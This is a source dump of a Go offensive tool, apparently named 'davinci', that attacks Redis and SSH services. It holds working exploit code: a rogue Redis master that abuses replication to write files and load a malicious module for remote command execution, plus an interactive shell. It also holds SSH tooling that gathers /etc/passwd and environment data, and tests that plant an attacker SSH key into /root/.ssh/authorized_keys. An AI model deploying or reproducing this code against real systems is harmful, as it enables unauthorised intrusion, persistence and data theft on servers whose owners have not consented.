srcDirRes, err1 := r.execute("config get dir") 269 | srcDbfilenameRes, err2 := r.execute("config get dbfilename") 270 | if err1 != nil || err2 != nil { 271 | log.Warn(err1, err2) 272 | return 273 | } 274 | defer r.recovery("", srcDirRes, srcDbfilenameRes) 275 | // 利用主从复制写文件 276 | err3 := r.setConfig("dir", dir) 277 | err4 := r.setConfig("dbfilename", dbfilename) 278 | if err3 != nil || err4 != nil { 279 | log.Warn(err3, err4) 280 | return 281 | } 282 | //port, _ := common.GetAvailablePort() 283 | log.Info(fmt.Sprintf("rogue redis master %s:%d", rogueServerIp, rogueServerPort)) 284 | rogueServer := redis2.CreateRogueserver(rogueServerPort, data) 285 | if rogueServer == nil { 286 | return 287 | } 288 | log.Info("(local) waiting for connection") 289 | done := make(chan struct{}) 290 | go rogueServer.Handle(done) 291 | r.execute(fmt.Sprintf("SLAVEOF %s %d", rogueServerIp, rogueServerPort)) 292 | <-done 293 | log.Info("writefile success") 294 | r.execute(fmt.Sprintf("SLAVEOF NO ONE")) 295 | } 296 | 297 | /** 298 | * 通过redis-dump备份数据 299 | */ 300 | func (r *Redis) DumpBackup(backfile string) error { 301 | return redis2.RedisDump(r.Host, r.Port, r.User, r.Passwd, backfile) 302 | } 303 | 304 | func (r *Redis) recovery(key string, srcDirRes, srcDbfilenameRes interface{}) { 305 | log.Info("recovery") 306 | // 还原新增的key 307 | if key != "" { 308 | r.execute(fmt.Sprintf("del %s", key)) 309 | } 310 | // 还原config 311 | var srcDir, srcDbfilename string 312 | switch srcDirRes.(type) { 313 | case []interface{}: 314 | srcDir = srcDirRes.([]interface{})[1].(string) 315 | srcDbfilename = srcDbfilenameRes.([]interface{})[1].(string) 316 | case map[interface{}]interface{}: 317 | srcDir = srcDirRes.(map[interface{}]interface{})["dir"].(string) 318 | srcDbfilename = srcDbfilenameRes.(map[interface{}]interface{})["dbfilename"].(string) 319 | default: 320 | log.Error(" unkown response type: ", srcDirRes) 321 | return 322 | } 323 | r.execute(fmt.Sprintf("config set dir %s", srcDir)) 324 | r.execute(fmt.Sprintf("config set dbfilename %s", srcDbfilename)) 325 | } 326 | 327 | func (r *Redis) setConfig(key, value string) error { 328 | res, err := r.execute(fmt.Sprintf("config set %s %s", key, value)) 329 | if err != nil { 330 | return err 331 | } 332 | if !strings.Contains(strings.ToLower(res.(string)), "ok") { 333 | return fmt.Errorf(res.(string)) 334 | } 335 | return nil 336 | } 337 | 338 | /** 339 | * 利用主从复制写入动态链接库并进行加载 340 | */ 341 | func (r *Redis) loadMod_by_RogueMaster(rogueServerIp string, rogueServerPort int, backup bool) error { 342 | 343 | info := r.info() 344 | os := r.getOs(info) 345 | platform := r.getPlatform(info) 346 | moduleHex := redis2.GetRedisModule(os, platform) 347 | if moduleHex == "" { 348 | return fmt.Errorf("get module so error") 349 | } 350 | evalFile := "/tmp/module_" + common.GetRandomString(6) + ".so" 351 | evalData, err := hex.DecodeString(moduleHex) 352 | if err != nil { 353 | return err 354 | } 355 | r.WriteFile_by_RogueMaster(evalFile, rogueServerIp, rogueServerPort, evalData, backup) 356 | res, err := r.execute(fmt.Sprintf("module load %s", evalFile)) 357 | if err != nil { 358 | return err 359 | } 360 | if !strings.Contains(strings.ToLower(res.(string)), "ok") { 361 | return fmt.Errorf(res.(string)) 362 | } 363 | log.Info("load modlue success") 364 | return nil 365 | } 366 | 367 | func (r *Redis) OsExec_RogueMaster(rogueServerIp, cmd string, rogueServerPort int, interactive, backup bool) error { 368 | if r.connect() != nil { 369 | return fmt.Errorf("connect redis fail") 370 | } 371 | 372 | if !r.isModLoaded("system") { 373 | if err := r.loadMod_by_RogueMaster(rogueServerIp, rogueServerPort, backup); err != nil { 374 | log.Error(err) 375 | return err 376 | } 377 | } 378 | if interactive { 379 | pmt := prompt.New(func(in string) {}, 380 | func(document prompt.Document) []prompt.Suggest { 381 | return nil 382 | }) 383 | 384 | for { 385 | in := pmt.Input() 386 | if strings.EqualFold(in, "exit") || strings.EqualFold(in, "exit()") { 387 | break 388 | } 389 | if strings.Trim(in, " ") == "" { 390 | continue 391 | } 392 | if result, err := r.execute(fmt.Sprintf("system.exec \"%s\"", in)); err == nil { 393 | log.Output(result) 394 | } else { 395 | log.Warn(err) 396 | } 397 | } 398 | } else { 399 | if result, err := r.execute(fmt.Sprintf("system.exec \"%s\"", cmd)); err == nil { 400 | log.Output(result) 401 | } else { 402 | log.Warn(err) 403 | } 404 | } 405 | 406 | return nil 407 | } 408 | 409 | func (r *Redis) isModLoaded(name string) bool { 410 | if modulelist, err := r.execute("module list"); err != nil { 411 | log.Warn(err) 412 | return false 413 | } else { 414 | modLoaded := false 415 | for _, moduleStruct := range modulelist.([]interface{}) { 416 | module := moduleStruct.([]interface{}) 417 | if len(module) < 2 { 418 | continue 419 | } 420 | if module[1].(string) == name { 421 | modLoaded = true 422 | break 423 | } 424 | } 425 | log.Info("modLoaded: ", modLoaded) 426 | return modLoaded 427 | } 428 | } 429 | 430 | func (r *Redis) getVersion(info []string) string { 431 | for _, line := range info { 432 | if strings.HasPrefix(line, "redis_version:") { 433 | splits := strings.Split(line, ":") 434 | return splits[1] 435 | } 436 | } 437 | return "" 438 | } 439 | 440 | func (r *Redis) getOs(info []string) string { 441 | for _, line := range info { 442 | if strings.HasPrefix(line, "os:") { 443 | splits := strings.Split(line, ":") 444 | if strings.Contains(strings.ToLower(splits[1]), "linux") { 445 | return "linux" 446 | } else if strings.Contains(strings.ToLower(splits[1]), "windows") { 447 | return "windows" 448 | } 449 | return strings.ToLower(splits[1]) 450 | } 451 | } 452 | return "" 453 | } 454 | 455 | func (r *Redis) getPlatform(info []string) string { 456 | for _, line := range info { 457 | if strings.HasPrefix(line, "os:") { 458 | splits := strings.Split(line, ":") 459 | tmp := strings.Split(splits[1], " ") 460 | platform := tmp[len(tmp)-1] 461 | return platform 462 | } 463 | } 464 | //for _, line := range info { 465 | // if strings.HasPrefix(line, "arch_bits:") { 466 | // splits := strings.Split(line, ":") 467 | // return splits[1] 468 | // } 469 | //} 470 | return "" 471 | } 472 | -------------------------------------------------------------------------------- /core/redis/redis_dump.go: -------------------------------------------------------------------------------- 1 | package redis 2 | 3 | import ( 4 | "fmt" 5 | "github.com/yannh/redis-dump-go/pkg/config" 6 | "github.com/yannh/redis-dump-go/pkg/redisdump" 7 | "log" 8 | "os" 9 | ) 10 | 11 | func RedisDump(host string, port int, user, passwd, file string) error { 12 | s := redisdump.Host{ 13 | Host: host, 14 | Port: port, 15 | Username: user, 16 | Password: passwd, 17 | //TlsHandler: tlshandler, 18 | } 19 | db := redisdump.AllDBs 20 | c := config.Config{ 21 | Filter: "*", 22 | NWorkers: 10, 23 | WithTTL: true, 24 | BatchSize: 1000, 25 | Noscan: true, 26 | } 27 | f, _ := os.Create(file) 28 | defer f.Close() 29 | serializer := redisdump.RESPSerializer 30 | progressNotifs := make(chan redisdump.ProgressNotification) 31 | 32 | defer close(progressNotifs) 33 | go func() { 34 | for _ = range progressNotifs { 35 | // log something 36 | } 37 | }() 38 | 39 | logger := log.New(f, "", 0) 40 | 41 | if err := redisdump.DumpServer(s, db, c.Filter, c.NWorkers, c.WithTTL, c.BatchSize, c.Noscan, logger, serializer, progressNotifs); err != nil { 42 | fmt.Fprintf(os.Stderr, "%s", err) 43 | return err 44 | } 45 | return nil 46 | } 47 | -------------------------------------------------------------------------------- /core/redis/rogue_server.go: -------------------------------------------------------------------------------- 1 | package redis 2 | 3 | import ( 4 | "davinci/common/log" 5 | "fmt" 6 | "net" 7 | "strconv" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | type rogueServer struct { 13 | port int 14 | listen net.Listener 15 | payload []byte 16 | } 17 | 18 | func CreateRogueserver(port int, payload []byte) *rogueServer { 19 | listen, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) 20 | if err != nil { 21 | log.Warn("(local) bind port error") 22 | log.Error(err) 23 | return nil 24 | } 25 | log.Info(fmt.Sprintf("(local) start listening %d", port)) 26 | return &rogueServer{ 27 | port: port, 28 | listen: listen, 29 | payload: payload, 30 | } 31 | } 32 | 33 | func (r *rogueServer) Handle(done chan struct{}) { 34 | conn, err := r.listen.Accept() 35 | defer conn.Close() 36 | if err != nil { 37 | log.Warn("(local) accept connect error") 38 | log.Error(err) 39 | return 40 | } 41 | log.Info("(local) get connection: ", conn.RemoteAddr()) 42 | buf := make([]byte, 1024) 43 | for { 44 | //buf, err := ioutil.ReadAll(conn) 45 | cnt, err := conn.Read(buf) 46 | if err != nil { 47 | log.Error(conn.RemoteAddr().String(), " connection error: ", err) 48 | return 49 | } 50 | data := string(buf[:cnt]) 51 | if strings.Contains(data, "PING") { 52 | conn.Write([]byte("+PONG\r\n")) 53 | log.Info("->receive: PING") 54 | log.Info("<-send : PONG") 55 | continue 56 | } else if strings.Contains(data, "REPLCONF") { 57 | conn.Write([]byte("+OK\r\n")) 58 | log.Info("->receive: REPLCONF") 59 | log.Info("<-send : OK") 60 | continue 61 | } else if strings.Contains(data, "SYNC") { 62 | resp := "+FULLRESYNC " + strings.Repeat("Z", 40) + " 0" + "\r\n" 63 | resp += "$" + strconv.Itoa(len(r.payload)) + "\r\n" 64 | payload := append([]byte(resp), r.payload...) 65 | payload = append(payload, []byte("\r\n")...) 66 | conn.Write(payload) 67 | log.Info("->receive: " + strings.Trim(data, "\n")) 68 | log.Info("<-send : {payload}") 69 | time.Sleep(2 * time.Second) 70 | close(done) 71 | return 72 | } else { 73 | log.Warn("[warn] unknow action", data) 74 | } 75 | } 76 | 77 | } 78 | -------------------------------------------------------------------------------- /core/redis/rogue_server_test.go: -------------------------------------------------------------------------------- 1 | package redis 2 | 3 | import ( 4 | "fmt" 5 | "testing" 6 | ) 7 | 8 | // 注:写入内容长度过短会导致redis崩溃,这应该和redis的处理有关系,<=8会崩溃 9 | func TestName(t *testing.T) { 10 | data := "12345678" 11 | rogueServer := CreateRogueserver(6366, []byte(data)) 12 | fmt.Println("length: ", len([]byte(data))) 13 | done := make(chan struct{}) 14 | rogueServer.Handle(done) 15 | <-done 16 | } 17 | -------------------------------------------------------------------------------- /core/redis_test.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "fmt" 5 | "testing" 6 | ) 7 | 8 | var r = &Redis{ 9 | Host: "192.168.83.129", 10 | Port: 6379, 11 | User: "", 12 | Passwd: "", 13 | Cmd: "", 14 | } 15 | 16 | func TestExecute(t *testing.T) { 17 | //cmd := "ACL USERS" 18 | //redis.connect() 19 | //result := redis.execute(cmd) 20 | //log.Output(result) 21 | //log.Output(redis.dbsize()) 22 | //log.Output(redis.info()) 23 | //log.Output(redis.getAllKeys()) 24 | //log.Output(redis.getUsers()) 25 | r.AutoGather() 26 | } 27 | 28 | func TestRedis_WriteFile_by_RDBBack(t *testing.T) { 29 | //r.WriteFile_by_RDBBack("/tmp/auto_write_rdb", "auto_write_rdb_zxcqer") 30 | //r.WriteFile_by_RDBBack("/qwe/auto_write_rdb", "auto_write_rdb_zxcqer") 31 | //r.WriteFile_by_RDBBack("/root/auto_write_rdb", "auto_write_rdb_zxcqer") 32 | r.WriteFile_by_RDBBack("/root/.ssh/authorized_keys", []byte("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCweGCh5HPuOUDUnRGSFteqD+CTFCixJrOde5H4AmJ2vKTu8LihaFUU10jfit58GMtCFEggDeoEaBUDyzkWQK3F4bTvM8qv+zGZqYjhbaytAWgDfi78qHtuG6LfGpnZ4i/MLc2fHHo25OTVYtixh50JucsFSmvz8Oruqv4+8vy8CmoXWpciSUJLU7lSQzSB2pWTBFiDMvY+Sus/Ss54riEsedx8CUxy1GpBv316foMO4QZCcXihAqpSvsn1D+jMNnxy+DiOsQUgtH7tVEKnS0uqat/GGb6JyrssIuhVbe8n/1rJrEaGRLguWGAdYEUSqbm2ZGmx4hua3tP/oWit95M+09MMFhVZFqrQ74Z6Mtyr3upFOcIGVa1DYvAjO37jUvaUdlwBxzbkkjcgncGyUHxeNk+4cO+HvhuMDujyDhos99DeCAIjJynkGayRXq9YsPcmCQK2cd7sgYL9HR5MLvFC64qx03Yv0F11PpRp5ee3p65pI5ZTHmWKw7BXeSiNgEM= root@kali")) 33 | } 34 | 35 | func TestRedis_RedisDumpBackup(t *testing.T) { 36 | r.DumpBackup("D:\\tmp\\my.txt") 37 | } 38 | 39 | func TestRedis_WriteFile_by_RogueMaster(t *testing.T) { 40 | //data, _ := ioutil.ReadFile("D:\\tmp\\0220.txt") 41 | // 数据长度<=8会崩溃 42 | r.WriteFile_by_RogueMaster("/tmp/auto_rouge_master_test1", "192.168.159.1", 6379, []byte("1234567"), true) 43 | //r.WriteFile_by_RogueMaster("/tmp/auto_rouge_master_0220.txt", "192.168.159.1", data, true) 44 | } 45 | func TestRedis_OsExec_RogueMaster(t *testing.T) { 46 | err := r.OsExec_RogueMaster("192.168.83.1", "whoami", 6379, false, true) 47 | if err != nil { 48 | fmt.Println(err) 49 | } 50 | //info := r.info() 51 | //version := r.getVersion(info) 52 | //os := r.getOs(info) 53 | //platform := r.getPlatform(info) 54 | //fmt.Println("version: ", version) 55 | //fmt.Println("os: ", os) 56 | //fmt.Println("platform: ", platform) 57 | } 58 | -------------------------------------------------------------------------------- /core/service.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | const ( 4 | DATABASE = "database" 5 | MIDDLLEWARE = "middlleware" 6 | ) 7 | 8 | type Service interface { 9 | ExecuteOnce() 10 | AutoGather() 11 | Shell() 12 | SetHost(string) 13 | SetPort(int) 14 | SetCmd(string) 15 | } 16 | -------------------------------------------------------------------------------- /core/sqldriver.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "database/sql" 5 | "davinci/common/log" 6 | "github.com/c-bata/go-prompt" 7 | "strings" 8 | ) 9 | 10 | type execSqlFunc func(cmd string) [][]string 11 | 12 | func sqlShell(exexSql execSqlFunc) { 13 | 14 | pmt := prompt.New(func(in string) {}, 15 | func(document prompt.Document) []prompt.Suggest { 16 | return nil 17 | }) 18 | 19 | for { 20 | in := pmt.Input() 21 | if strings.EqualFold(in, "exit") || strings.EqualFold(in, "exit()") { 22 | break 23 | } 24 | if strings.TrimSpace(in) == "" { 25 | continue 26 | } 27 | result := exexSql(in) 28 | log.Output(result) 29 | } 30 | } 31 | 32 | func execute(conn *sql.DB, cmd string) [][]string { 33 | if conn == nil { 34 | return nil 35 | } 36 | var result [][]string 37 | defer func() { 38 | err := recover() 39 | if err != nil && err.(error).Error() == "runtime error: invalid memory address or nil pointer dereference" { 40 | } 41 | }() 42 | log.Info("execute sql: " + cmd) 43 | query, err := conn.Query(cmd) 44 | if err != nil { 45 | log.Error(err) 46 | return nil 47 | } 48 | 49 | cols, _ := query.Columns() 50 | result = append(result, cols) 51 | colNums := len(cols) 52 | values := make([][]byte, colNums) 53 | scans := make([]interface{}, colNums) 54 | for i := range values { 55 | scans[i] = &values[i] 56 | } 57 | for query.Next() { 58 | query.Scan(scans...) 59 | 60 | row := make([]string, colNums) 61 | 62 | for k, v := range values { 63 | row[k] = string(v) 64 | } 65 | result = append(result, row) 66 | } 67 | 68 | return result 69 | } 70 | -------------------------------------------------------------------------------- /core/ssh.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "davinci/common" 5 | "davinci/common/log" 6 | "fmt" 7 | "github.com/pkg/sftp" 8 | "golang.org/x/crypto/ssh" 9 | "golang.org/x/crypto/ssh/terminal" 10 | "io" 11 | "os" 12 | "path/filepath" 13 | "time" 14 | ) 15 | 16 | type Ssh struct { 17 | conn *ssh.Client 18 | session *ssh.Session 19 | Host string 20 | Port int 21 | User string 22 | Passwd string 23 | PrivateKey []byte 24 | Cmd string 25 | } 26 | 27 | func (s *Ssh) connect() error { 28 | var err error 29 | if s.conn == nil { 30 | var authList []ssh.AuthMethod 31 | // 私钥认证 32 | if s.PrivateKey != nil { 33 | 34 | if signer, err := ssh.ParsePrivateKey(s.PrivateKey); err != nil { 35 | log.Warn(err) 36 | } else { 37 | authList = append(authList, ssh.PublicKeys(signer)) 38 | } 39 | } 40 | // 密码认证 41 | if s.Passwd != "" { 42 | authList = append(authList, ssh.Password(s.Passwd)) 43 | } 44 | config := &ssh.ClientConfig{ 45 | User: s.User, 46 | HostKeyCallback: ssh.InsecureIgnoreHostKey(), 47 | Auth: authList, 48 | Timeout: 5 * time.Second, 49 | } 50 | if s.conn, err = ssh.Dial("tcp", fmt.Sprintf("%s:%d", s.Host, s.Port), config); err != nil { 51 | log.Error(err) 52 | } 53 | } 54 | return err 55 | } 56 | 57 | func (s *Ssh) Close() { 58 | if s.session != nil { 59 | s.session.Close() 60 | } 61 | if s.conn != nil { 62 | s.conn.Close() 63 | s.conn = nil 64 | } 65 | } 66 | 67 | func (s *Ssh) execute(cmd string) string { 68 | session, err := s.conn.NewSession() 69 | if err != nil { 70 | log.Warn(err) 71 | return "" 72 | } 73 | log.Info("execute: " + cmd) 74 | result, err := session.CombinedOutput(cmd) 75 | if err != nil { 76 | log.Warn(err) 77 | } 78 | return string(result) 79 | } 80 | 81 | func (s *Ssh) ExecuteOnce() { 82 | if s.connect() != nil { 83 | return 84 | } 85 | 86 | result := s.execute(s.Cmd) 87 | log.Output(result) 88 | } 89 | 90 | func (s *Ssh) Shell() { 91 | if s.connect() != nil { 92 | return 93 | } 94 | 95 | session, err := s.conn.NewSession() 96 | if err != nil { 97 | log.Error(err) 98 | return 99 | } 100 | defer session.Close() 101 | log.Info("start ssh shell") 102 | session.Stdin = os.Stdin 103 | session.Stdout = os.Stdout 104 | session.Stderr = os.Stderr 105 | 106 | fd := int(os.Stdin.Fd()) 107 | oldState, err := terminal.MakeRaw(fd) 108 | if err != nil { 109 | log.Error(fmt.Errorf("MakeRaw failed: %v", err)) 110 | return 111 | } 112 | defer terminal.Restore(fd, oldState) 113 | 114 | termWidth, termHeight, err := terminal.GetSize(fd) 115 | if err != nil { 116 | log.Warn(fmt.Sprintf("Unable to get terminal size: %v,use default setting", err)) 117 | termWidth = 40 118 | termHeight = 80 119 | } 120 | 121 | modes := ssh.TerminalModes{ 122 | ssh.ECHO: 1, // 禁用本地回显 123 | ssh.TTY_OP_ISPEED: 14400, // 输入速度 124 | ssh.TTY_OP_OSPEED: 14400, // 输出速度 125 | } 126 | if err := session.RequestPty("xterm", termHeight, termWidth, modes); err != nil { 127 | log.Error("Request for pseudo terminal failed: ", err) 128 | return 129 | } 130 | if err := session.Shell(); err != nil { 131 | log.Error("Failed to start shell: ", err) 132 | return 133 | } 134 | 135 | // 等待交互式shell会话结束 136 | if err := session.Wait(); err != nil { 137 | if exitErr, ok := err.(*ssh.ExitError); ok { 138 | os.Exit(exitErr.ExitStatus()) 139 | } 140 | log.Warn("Session wait failed: ", err) 141 | } 142 | } 143 | 144 | func (s *Ssh) AutoGather() { 145 | if s.connect() != nil { 146 | return 147 | } 148 | cmds := []string{ 149 | "ls -al /", 150 | "ps -ef", 151 | "netstat -atlnp", 152 | "cat /etc/passwd", 153 | "uname -a", 154 | "env", 155 | } 156 | 157 | for _, cmd := range cmds { 158 | result := s.execute(cmd) 159 | log.Output(result) 160 | } 161 | } 162 | 163 | func (s *Ssh) SetHost(host string) { 164 | s.Host = host 165 | } 166 | func (s *Ssh) SetPort(port int) { 167 | s.Port = port 168 | } 169 | 170 | func (s *Ssh) SetCmd(cmd string) { 171 | s.Cmd = cmd 172 | } 173 | 174 | func (s *Ssh) ScpDownload(sourceFile, targetFile string) { 175 | if s.connect() != nil { 176 | return 177 | } 178 | if sourceFile == "" { 179 | log.Warn("please set source file") 180 | return 181 | } 182 | 183 | if targetFile == "" { 184 | targetFile = "./" 185 | } 186 | if common.IsDir(targetFile) { 187 | targetFile += filepath.Base(sourceFile) 188 | } 189 | 190 | log.Info("source file(remote): ", sourceFile) 191 | log.Info("target file(local) : ", targetFile) 192 | client, err := sftp.NewClient(s.conn) 193 | if err != nil { 194 | log.Error("create sftp error: ", err) 195 | return 196 | } 197 | defer client.Close() 198 | 199 | source, err := client.Open(sourceFile) 200 | if err != nil { 201 | log.Error("open (remote)source file error: ", err) 202 | return 203 | } 204 | defer source.Close() 205 | 206 | target, err := os.OpenFile(targetFile, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0644) 207 | if err != nil { 208 | log.Error("open (local)target file error: ", err) 209 | return 210 | } 211 | defer target.Close() 212 | 213 | _, err = io.Copy(target, source) 214 | if err != nil { 215 | log.Warn("download file error: ", err) 216 | } else { 217 | log.Info("download file success") 218 | } 219 | } 220 | 221 | func (s *Ssh) ScpUpload(sourceFile, targetFile string) { 222 | if s.connect() != nil { 223 | return 224 | } 225 | if targetFile == "" { 226 | log.Warn("please set target file") 227 | return 228 | } 229 | if common.IsDir(targetFile) { 230 | targetFile += filepath.Base(sourceFile) 231 | } 232 | 233 | if !common.IsFileExist(sourceFile) { 234 | log.Warn("source file is not exist") 235 | return 236 | } 237 | if common.IsDir(sourceFile) { 238 | log.Warn("source file cannot be a dir") 239 | return 240 | } 241 | 242 | log.Info("source file(local) : ", sourceFile) 243 | log.Info("target file(remote): ", targetFile) 244 | client, err := sftp.NewClient(s.conn) 245 | if err != nil { 246 | log.Error("create sftp error: ", err) 247 | return 248 | } 249 | 250 | source, err := os.Open(sourceFile) 251 | if err != nil { 252 | log.Error("open (local)source file error: ", err) 253 | return 254 | } 255 | defer source.Close() 256 | 257 | defer client.Close() 258 | target, err := client.Create(targetFile) 259 | if err != nil { 260 | log.Error("open (remote)target file error: ", err) 261 | return 262 | } 263 | defer target.Close() 264 | 265 | _, err = io.Copy(target, source) 266 | if err != nil { 267 | log.Error("upload file error: ", err) 268 | } else { 269 | log.Info("upload file success") 270 | } 271 | 272 | } 273 | -------------------------------------------------------------------------------- /core/ssh_test.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "io/ioutil" 5 | "testing" 6 | ) 7 | 8 | var s = &Ssh{ 9 | Host: "192.168.83.129", 10 | Port: 22, 11 | User: "root", 12 | Cmd: "whoami", 13 | Passwd: "123qwe", 14 | } 15 | 16 | func TestSsh_ExecuteOnce(t *testing.T) { 17 | s.ExecuteOnce() 18 | } 19 | 20 | func TestSsh_ExecuteOnce_by_PrivateKey(t *testing.T) { 21 | privakey, _ := ioutil.ReadFile("D:/tmp/id_rsa") 22 | s.PrivateKey = privakey 23 | s.ExecuteOnce() 24 | } 25 | 26 | func TestSsh_Shell(t *testing.T) { 27 | s.Shell() 28 | } 29 | 30 | func TestSsh_AutoGather(t *testing.T) { 31 | s.AutoGather() 32 | } 33 | 34 | func TestSsh_ScpDownload(t *testing.T) { 35 | privakey, _ := ioutil.ReadFile("D:/tmp/id_rsa") 36 | s.PrivateKey = privakey 37 | s.ExecuteOnce() 38 | 39 | s.ScpDownload("/root/.ssh/authorized_keys", "d:/tmp/ssh_test/authorized_keys") 40 | } 41 | 42 | func TestSsh_ScpUpload(t *testing.T) { 43 | privakey, _ := ioutil.ReadFile("D:/tmp/id_rsa") 44 | s.PrivateKey = privakey 45 | s.ScpUpload("d:/tmp/ssh_test/authorized_keys", "/root/.ssh/aaa") 46 | } 47 | -------------------------------------------------------------------------------- /davinci.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "davinci/cmd" 5 | _ "davinci/core" 6 | ) 7 | 8 | func main() { 9 | 10 | cmd.Execute() 11 | } 12 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module davinci 2 | 3 | go 1.21 4 | 5 | require ( 6 | github.com/ClickHouse/clickhouse-go v1.5.4 7 | github.com/go-mysql-org/go-mysql v1.7.0 8 | github.com/lib/pq v1.10.9 9 | github.com/pkg/sftp v1.13.6 10 | github.com/projectdiscovery/mapcidr v1.1.34 11 | github.com/redis/go-redis/v9 v9.5.1 12 | github.com/siddontang/go v0.0.0-20180604090527-bdc77568d726 13 | github.com/yannh/redis-dump-go v0.8.1 14 | go.mongodb.org/mongo-driver v1.14.0 15 | golang.org/x/crypto v0.17.0 16 | ) 17 | 18 | require ( 19 | github.com/aymerick/douceur v0.2.0 // indirect 20 | github.com/cespare/xxhash/v2 v2.2.0 // indirect 21 | github.com/cloudflare/golz4 v0.0.0-20150217214814-ef862a3cdc58 // indirect 22 | github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect 23 | github.com/golang/snappy v0.0.4 // indirect 24 | github.com/google/uuid v1.3.0 // indirect 25 | github.com/gorilla/css v1.0.0 // indirect 26 | github.com/klauspost/compress v1.16.7 // indirect 27 | github.com/kr/fs v0.1.0 // indirect 28 | github.com/mediocregopher/radix/v3 v3.8.1 // indirect 29 | github.com/microcosm-cc/bluemonday v1.0.25 // indirect 30 | github.com/montanaflynn/stats v0.0.0-20171201202039-1bf9dbcd8cbe // indirect 31 | github.com/pingcap/errors v0.11.5-0.20210425183316-da1aaba5fb63 // indirect 32 | github.com/pkg/errors v0.9.1 // indirect 33 | github.com/projectdiscovery/blackrock v0.0.1 // indirect 34 | github.com/projectdiscovery/utils v0.0.85 // indirect 35 | github.com/rivo/uniseg v0.4.4 // indirect 36 | github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect 37 | github.com/siddontang/go-log v0.0.0-20180807004314-8d05993dda07 // indirect 38 | github.com/xdg-go/pbkdf2 v1.0.0 // indirect 39 | github.com/xdg-go/scram v1.1.2 // indirect 40 | github.com/xdg-go/stringprep v1.0.4 // indirect 41 | github.com/youmark/pkcs8 v0.0.0-20181117223130-1be2e3e5546d // indirect 42 | go.uber.org/atomic v1.7.0 // indirect 43 | golang.org/x/net v0.17.0 // indirect 44 | golang.org/x/sync v0.6.0 // indirect 45 | golang.org/x/term v0.16.0 // indirect 46 | golang.org/x/text v0.14.0 // indirect 47 | golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028 // indirect 48 | gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 // indirect 49 | ) 50 | 51 | require ( 52 | github.com/c-bata/go-prompt v0.2.6 53 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 54 | //github.com/manifoldco/promptui v0.9.0 // indirect 55 | github.com/mattn/go-colorable v0.1.13 // indirect 56 | github.com/mattn/go-isatty v0.0.19 // indirect 57 | github.com/mattn/go-runewidth v0.0.14 // indirect 58 | github.com/mattn/go-tty v0.0.3 // indirect 59 | github.com/olekukonko/tablewriter v0.0.5 60 | github.com/pkg/term v1.2.0-beta.2 // indirect 61 | github.com/spf13/cobra v1.8.0 62 | github.com/spf13/pflag v1.0.5 // indirect 63 | golang.org/x/sys v0.17.0 // indirect 64 | ) 65 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 2 | github.com/ClickHouse/clickhouse-go v1.5.4 h1:cKjXeYLNWVJIx2J1K6H2CqyRmfwVJVY1OV1coaaFcI0= 3 | github.com/ClickHouse/clickhouse-go v1.5.4/go.mod h1:EaI/sW7Azgz9UATzd5ZdZHRUhHgv5+JMS9NSr2smCJI= 4 | github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk= 5 | github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= 6 | github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= 7 | github.com/bkaradzic/go-lz4 v1.0.0 h1:RXc4wYsyz985CkXXeX04y4VnZFGG8Rd43pRaHsOXAKk= 8 | github.com/bkaradzic/go-lz4 v1.0.0/go.mod h1:0YdlkowM3VswSROI7qDxhRvJ3sLhlFrRRwjwegp5jy4= 9 | github.com/bsm/ginkgo/v2 v2.12.0 h1:Ny8MWAHyOepLGlLKYmXG4IEkioBysk6GpaRTLC8zwWs= 10 | github.com/bsm/ginkgo/v2 v2.12.0/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c= 11 | github.com/bsm/gomega v1.27.10 h1:yeMWxP2pV2fG3FgAODIY8EiRE3dy0aeFYt4l7wh6yKA= 12 | github.com/bsm/gomega v1.27.10/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0= 13 | github.com/c-bata/go-prompt v0.2.6 h1:POP+nrHE+DfLYx370bedwNhsqmpCUynWPxuHi0C5vZI= 14 | github.com/c-bata/go-prompt v0.2.6/go.mod h1:/LMAke8wD2FsNu9EXNdHxNLbd9MedkPnCdfpU9wwHfY= 15 | github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= 16 | github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= 17 | github.com/cloudflare/golz4 v0.0.0-20150217214814-ef862a3cdc58 h1:F1EaeKL/ta07PY/k9Os/UFtwERei2/XzGemhpGnBKNg= 18 | github.com/cloudflare/golz4 v0.0.0-20150217214814-ef862a3cdc58/go.mod h1:EOBUe0h4xcZ5GoxqC5SDxFQ8gwyZPKQoEzownBlhI80= 19 | github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 20 | github.com/cznic/mathutil v0.0.0-20181122101859-297441e03548/go.mod 